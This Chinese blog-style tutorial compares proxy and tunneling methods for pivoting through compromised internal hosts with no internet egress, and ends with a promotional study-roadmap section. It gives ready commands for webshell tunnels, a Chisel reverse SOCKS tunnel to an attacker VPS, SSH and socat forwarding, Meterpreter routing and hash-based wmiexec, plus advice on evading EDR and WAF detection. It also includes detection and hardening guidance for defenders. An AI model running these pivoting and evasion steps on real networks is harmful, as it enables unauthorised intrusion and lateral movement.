内网不出网怎么办?多种代理转发方案对比
前言
在内网渗透测试中,经常遇到一种棘手场景:拿下的跳板主机只能访问内网其他机器,无法直接访问互联网,也就是常说的不出网。防火墙、ACL 策略阻断了主机对外的出站连接,常规反向 Shell、普通的反向隧道全部失效。
很多新手遇到不出网环境就卡住,分不清什么时候用 Web 隧道、什么时候用端口转发、什么时候选网卡层 VPN 隧道。不同方案的流量特征、稳定性、使用门槛、绕过 WAF / 防火墙的能力差别巨大。本文针对不出网场景,整理主流代理转发方案,包含原理、命令、适用场景、优缺点横向对比,方便在授权测试中快速选型。
免责声明:本文内容仅用于授权内网渗透测试、靶场安全学习。严禁在未授权的内网环境搭建隧道、转发流量,未经授权的网络操作违反《网络安全法》,需要承担相应法律责任。
一、先理清概念:什么叫内网不出网?
不出网,简单概括:跳板主机可以访问内网网段,但无法主动向外网发起 TCP 出站连接。
细分两类场景:
- 完全不出网:跳板机器任何协议都无法访问外网,只有 Web 服务对外可访问(Web 服务器,80/443 端口可被外部访问);
- 有限出站:仅允许 HTTP/HTTPS 协议出站,TCP、UDP、ICMP 全部拦截,DNS 也可能受限。
选型核心判断:
✅ 如果跳板有 Web 服务,外网可以访问这个 Web 地址 → 优先HTTP 正向隧道(Neo-reGeorg、Suo5、冰蝎 / 哥斯拉 Socks)
✅ 如果跳板能主动向外发起 HTTP 出站(有限出网)→ Chisel、Ligolo-ng 反向隧道
✅ 如果跳板是 Linux 并且开启 SSH → SSH 端口转发
✅ 如果只有 Meterpreter 会话 → MSF autoroute + portfwd
二、方案 1:Web 正向 HTTP 隧道(Neo-reGeorg / Suo5,Web 服务器不出网首选)
原理
目标 Web 服务器外网可访问,但是服务器本身不能主动访问外网。把隧道脚本(php/aspx/jsp)上传到 Web 目录,攻击者本地客户端不断发送 HTTP POST 请求,将 Socks5 流量封装在 HTTP 数据包里双向传输。本质是正向隧道,由攻击者主动访问 Web 服务,不需要目标机器主动回连公网 VPS,完美解决 Web 服务器不出网场景。
Neo-reGeorg 使用示例
- 生成隧道脚本
python neoreg.py generate -k "test123456"
- 将生成的 tunnel.aspx 上传到网站目录;
- 本地客户端连接,本地开启 1080 端口 Socks5 代理
python neoreg.py -k "test123456" -u shturl.cc/XuMqQiLmjcwDBUHy
- proxychains、BurpSuite 等工具配置 socks5://127.0.0.1:1080,访问内网资产。
Suo5 作为 Neo-reGeorg 升级版,传输效率更高,适配 WAF、反向代理环境,数据包特征更难识别。
✅优点:
- 专门适配Web 服务器不出网场景,不需要目标主机对外发起连接;
- 只需要文件上传权限,不需要执行 exe 二进制;
- 流量封装在 HTTP/HTTPS,80/443 端口,防火墙放行概率高。
❌缺点:
- WebShell 隧道特征明显,WAF 很容易拦截隧道脚本;
- 带宽低,延迟高,大量 nmap 扫描速度慢;
- 依赖 Web 中间件,如果 Web 目录不可写,无法使用。
补充:冰蝎、哥斯拉内置 Socks 隧道功能,原理和 Neo-reGeorg 一致,拿到 webshell 后一键开启 socks,快速内网横向,适合临时应急。
三、方案 2:Chisel 单文件 HTTP 隧道(有限出网场景)
原理
Go 语言编译的单文件二进制,将 TCP 流量封装在 HTTP 协议。在攻击机(VPS/Kali)运行 Chisel 服务端;跳板机执行 Chisel 客户端,主动向外网攻击机建立 HTTP 连接,在攻击机本地生成 Socks5 代理端口,访问跳板内网。
⚠️前提:跳板可以发起对外 HTTP 连接(有限出网),完全无任何出站的 Web 服务器场景不能用 Chisel 反向。
命令示例
攻击机(监听)
./chisel server -p 8080 --reverse
跳板 Windows 执行
chisel.exe client 你的VPSIP:8080 R:1080:socks
连接成功后,攻击机本地 127.0.0.1:1080 就是 Socks5 代理。
✅优点:
- 单文件,跨平台 Windows/Linux,体积小;
- 流量走 HTTP,部分防火墙允许 HTTP 出站;
- 同时支持端口转发 + Socks 代理,配置简单;
- 自带流量加密。
❌缺点:
- 需要上传二进制文件到跳板,容易被 EDR/Defender 查杀;
- 必须跳板能够对外发起连接,完全不出网 Web 服务器无法使用;
- 大量并发扫描性能一般。
四、方案 3:Ligolo-ng(新一代 TUN 网卡隧道,推荐大型内网)
原理
Ligolo-ng 和 Socks 代理不一样,它在攻击机创建虚拟 TUN 网卡,相当于把内网路由直接拉到攻击机本机。不需要 proxychains,所有工具(nmap、CrackMapExec、ssh)原生直接访问内网 IP,不用代理封装。同样属于反向隧道,跳板 agent 主动回连攻击机。
✅优点:
- 无需 proxychains,原生 IP 访问内网,nmap 扫描更方便;
- 支持 TCP/UDP,隧道稳定,性能优于 Chisel;
- 支持多层跳板多级代理。
❌缺点:
- 攻击机需要配置 TUN 网卡,需要 root 权限;
- 需要上传 agent 二进制,存在落地风险;
- 同样要求跳板具备对外出站能力,完全不出网 Web 场景无效。
五、方案 4:SSH 端口转发(Linux 跳板首选)
原理
SSH 自带端口转发功能,分为本地转发、远程转发、动态 Socks 代理。如果拿下 Linux 跳板,跳板能 SSH 对外连接,一条命令就能建立 Socks。
# 动态Socks代理(D参数)
ssh -D 1080 user@跳板IP
端口转发示例(把内网 3389 映射本地)
ssh -L 3389:192.168.1.20:3389 user@跳板IP
✅优点:
- Linux 系统自带,不需要额外上传工具,无文件落地;
- SSH 加密流量,防火墙常放行 22 端口;
- 稳定,特征相对低。
❌缺点:
- 仅限有 SSH 服务的 Linux 主机;Windows 跳板默认没有 SSH;
- 防火墙封禁 22 端口就失效;
- 完全不出网环境无法使用。
六、方案 5:MSF autoroute + portfwd(Meterpreter 会话场景)
拿到 Meterpreter 会话之后,不需要额外上传隧道工具,直接在会话内添加路由,转发流量。适合已经获得 Meterpreter shell 的场景。
# 添加内网网段路由
run autoroute -s 192.168.1.0/24
# 端口转发,把内网目标端口映射到本地
portfwd add -l 4444 -p 3389 -r 192.168.1.20
✅优点:内置模块,无需上传第三方工具;
❌缺点:只适用于 Meterpreter 会话,不支持其他 shell;稳定性一般,多层转发容易断连。
七、方案 6:socat 端口转发(轻量端口映射,只做单端口转发)
Socat 号称瑞士军刀,适合单端口转发,不适合全局 Socks 代理。适合只需要访问单个内网服务(比如单个数据库、3389),不需要全网代理。
# 跳板上执行,转发内网3389
socat TCP-LISTEN:13389,fork TCP:192.168.1.20:3389
✅优点:体积小,跨平台;
❌缺点:只能单端口映射,无法全局 Socks 内网漫游,大量目标操作不方便。
八、各方案横向对比表
表格
| 方案 | 适用场景 | 是否需要跳板对外出站 | 是否需要上传二进制 | 优点 | 短板 |
|---|---|---|---|---|---|
| Neo-reGeorg / Suo5 | Web 服务器,外网可访问网站,服务器本身不出网 | ❌不需要 | ✅上传脚本(php/aspx/jsp) | 不出网 Web 环境首选,走 80/443 | 延迟高,WAF 容易拦截 |
| 冰蝎 / 哥斯拉 Socks | 已有 WebShell,Web 不出网 | ❌不需要 | ✅webshell | 上手最快,拿到 shell 直接开代理 | 特征明显,WAF 告警 |
| Chisel | 跳板有限出网,可访问外网 HTTP | ✅需要 | ✅上传 exe / 二进制 | 轻量单文件,配置简单 | 完全不出网 Web 无法使用,易被杀软查杀 |
| Ligolo-ng | 大型内网,跳板有限出网 | ✅需要 | ✅上传 agent | TUN 网卡原生路由,不用 proxychains | 配置复杂,需要 root |
| SSH 转发 | Linux 跳板,开放 22 可出网 | ✅需要 | ❌不需要,系统自带 | 无落地,流量加密 | Windows 不适用,22 端口封禁失效 |
| MSF autoroute | Meterpreter 会话 | 看会话情况 | ❌不需要 | MSF 内置,无需额外工具 | 仅限 meterpreter,复杂网络不稳定 |
| Socat | 仅单个端口转发 | 按需 | ✅上传 socat | 极简单端口映射 | 不支持全局 Socks 内网漫游 |
九、选型决策流程(实战直接套用)
- 先判断:外网能不能直接访问跳板上的 Web 服务(80/443)?
- ✅能访问,但是服务器本身不能访问外网 → 优先 Neo-reGeorg / Suo5 / 冰蝎 Socks(Web 正向隧道)
- ❌不能访问 Web,但是跳板可以主动向外发起 HTTP 请求 → Chisel / Ligolo-ng 反向隧道
- 如果跳板是 Linux 且 SSH 可用 → SSH 动态转发,优先使用,减少文件落地;
- 如果只需要访问单个内网端口(3389、数据库),不需要全网漫游 → socat 端口映射;
- 如果是 Meterpreter 会话 → autoroute 添加路由。
实战 OPSEC 建议:
优先选择无二进制落地方案,Web 脚本隧道、SSH 转发。上传 exe 类工具极易触发 EDR,红蓝对抗中尽量减少文件落地。Web 隧道流量大、频繁 POST 请求,容易被 WAF 检测,不要长时间持续扫描。
十、配套工具:Proxychains 使用说明
所有 Socks5 隧道搭建完成后,Linux 攻击机使用 proxychains4 代理流量,让 nmap、crackmapexec、Impacket 等工具走隧道访问内网。
修改/etc/proxychains4.conf末尾
socks5 127.0.0.1 1080
使用示例:
proxychains4 python3 wmiexec.py administrator@192.168.1.20 -hashes xxx
注意:proxychains 无法代理 raw SYN 扫描,nmap 扫描必须使用
-sTTCP 全连接扫描。
proxychains4 nmap -sT -Pn 192.168.1.0/24
十一、蓝队检测与加固方案(渗透报告修复建议)
检测方式
- Web 日志:大量高频 POST 请求,请求包体二进制、持续长连接,疑似 Neo-reGeorg/Suo5 隧道;
- 终端审计:监控 chisel、ligolo、socat 等陌生二进制执行;
- 流量审计:内网主机异常对外长 HTTP 连接;
- 告警异常 Socks 代理行为、大量内网横向扫描流量。
加固方案
- 严格限制服务器出站策略:Web 服务器禁止任何出站访问,最小化出站权限;
- WAF 查杀 Web 隧道脚本,监控异常高频 POST;
- 服务器禁止上传可执行脚本(aspx/php/jsp),限制网站目录权限;
- 终端 EDR 管控,阻断陌生代理隧道程序运行;
- 防火墙做细粒度 ACL,禁止内网主机主动访问互联网。
十二、实战踩坑清单
❌坑 1:完全不出网 Web 服务器,尝试使用 Chisel 反向隧道
Chisel 需要跳板主动回连 VPS,跳板不出网,连接直接失败。这种场景只能用 Neo-reGeorg 这类正向 Web 隧道。
❌坑 2:proxychains 使用 nmap 默认 SYN 扫描,扫描无结果
proxychains 不支持 raw 包,必须
-sTTCP 全连接扫描,速度会变慢。
❌坑 3:Web 隧道搭建成功,但是访问内网卡顿、经常断连
Web 隧道基于 HTTP 轮询,本身延迟高;大批量扫描容易触发 WAF,降低扫描速率。
❌坑 4:上传 Chisel 立刻被 Defender 查杀
Windows Defender 默认查杀 chisel,红蓝对抗需要免杀处理;授权测试环境优先 Web 隧道减少落地风险。
❌坑 5:多级跳板,一层代理套一层,隧道极易崩溃
多层转发尽量使用 Ligolo-ng,Web 隧道不适合多层嵌套,稳定性很差。
十三、总结
内网不出网环境,核心分水岭是跳板是否可以被外网访问 Web。Web 服务器不出网,用 HTTP 正向隧道;跳板能有限对外发起 HTTP,使用 Chisel/Ligolo 反向隧道。
代理转发没有万能方案,不是工具越强越好,要根据防火墙出站策略、是否允许文件落地、测试场景来选择。OPSEC 角度,优先选择系统自带能力,减少二进制落地,降低被 EDR/WAF 捕获的风险。
一句话记住:能访问 Web 但服务器不出网,Web 正向隧道;跳板能向外 HTTP 回连,反向隧道;Linux 跳板优先 SSH;单端口转发选 socat。
最后
网络安全需要学习那些知识
网络安全零基础入门学习路线&规划
初级
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)
2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等
3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)
4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现
5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固
6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)

恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k
到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?
想要入坑黑客&网络安全的朋友,给大家准备了一份:282G全网最全的网络安全资料包免费领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.
零基础入门,建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习; 搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime; ·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完; ·用Python编写漏洞的exp,然后写一个简单的网络爬虫; ·PHP基本语法学习并书写一个简单的博客系统; 熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选); ·了解Bootstrap的布局或者CSS。
8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,贴一个大概的路线。

网络安全工程师企业级学习路线

视频配套资料&国内外网安书籍、文档&工具
当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

一些我自己买的、其他平台白嫖不到的视频教程:

要学习网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。
机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!
这份完整版的学习资料已经上传优快云,朋友们如果需要可以微信扫描下方优快云官方认证二维码免费领取【保证100%免费】

1291



被折叠的 条评论
为什么被折叠?



